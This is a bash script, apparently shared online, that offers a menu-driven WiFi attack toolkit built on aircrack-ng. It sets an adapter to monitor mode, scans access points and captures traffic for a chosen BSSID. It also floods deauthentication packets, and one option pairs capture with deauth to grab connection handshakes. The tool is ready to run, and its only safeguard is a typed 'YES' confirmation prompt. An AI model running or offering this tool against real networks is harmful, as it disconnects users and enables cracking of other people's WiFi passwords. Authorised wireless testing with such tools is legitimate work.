#!/bin/bash
# ============================================================
# USER SETTINGS
# Change these to suit your own setup
# ============================================================
IFACE="wlan1" # WiFi adapter used for monitor mode
CAPTURE_DIR="$HOME/wifi/captures" # Folder to save captures
DEFAULT_WAIT_TIME=8 # Seconds before deauth in option 6
DEFAULT_DEAUTH_COUNT=10 # Default number of deauth packets
SCRIPT_TITLE="uConsole WiFi Toolkit"
# ============================================================
# SCRIPT START
# ============================================================
pause() {
echo
read -p "Press Enter to continue..."
}
while true; do
clear
echo "$SCRIPT_TITLE"
echo "===================="
echo "Current interface: $IFACE"
echo "Capture folder: $CAPTURE_DIR"
echo
echo "1) Set $IFACE to monitor mode using iw"
echo "2) Set $IFACE to monitor mode using airmon-ng"
echo "3) Scan access points"
echo "4) Capture BSSID/channel only"
echo "5) Deauth test only"
echo "6) Capture and deauth"
echo "7) Show wireless interfaces"
echo "0) Exit"
echo
read -p "Choose an option: " choice
case "$choice" in
1)
sudo ip link set "$IFACE" down
sudo iw dev "$IFACE" set type monitor
sudo ip link set "$IFACE" up
iw dev
pause
;;
2)
sudo airmon-ng start "$IFACE"
pause
;;
3)
echo "Scanning on $IFACE. Press Ctrl+C to stop."
sleep 2
sudo airodump-ng "$IFACE"
pause
;;
4)
read -p "Enter BSSID: " BSSID
read -p "Enter channel: " CHANNEL
mkdir -p "$CAPTURE_DIR"
sudo airodump-ng \
-w "$CAPTURE_DIR/capture" \
-c "$CHANNEL" \
--bssid "$BSSID" \
"$IFACE"
pause
;;
5)
read -p "Enter BSSID: " BSSID
read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT
DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}
echo
echo "Only continue if this is your own network or an authorised test."
read -p "Type YES to continue: " confirm
if [ "$confirm" = "YES" ]; then
sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"
else
echo "Cancelled."
fi
pause
;;
6)
read -p "Enter BSSID: " BSSID
read -p "Enter channel: " CHANNEL
read -p "Seconds before deauth? Default $DEFAULT_WAIT_TIME: " WAIT_TIME
read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT
WAIT_TIME=${WAIT_TIME:-$DEFAULT_WAIT_TIME}
DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}
echo
echo "Only continue if this is your own network or an authorised test."
read -p "Type YES to continue: " confirm
if [ "$confirm" != "YES" ]; then
echo "Cancelled."
pause
continue
fi
mkdir -p "$CAPTURE_DIR"
echo
echo "[+] Starting capture on $IFACE..."
echo "[+] Press Ctrl+C to stop capture when done."
echo
sudo airodump-ng \
-w "$CAPTURE_DIR/capture" \
-c "$CHANNEL" \
--bssid "$BSSID" \
"$IFACE" &
AIRO_PID=$!
sleep "$WAIT_TIME"
echo
echo "[+] Sending deauth packets..."
sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"
echo
echo "[+] Capture is still running."
echo "[+] Press Ctrl+C to stop it."
wait "$AIRO_PID"
pause
;;
7)
iw dev
pause
;;
0)
exit 0
;;
*)
echo "Invalid option."
sleep 1
;;
esac
done
Comments
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎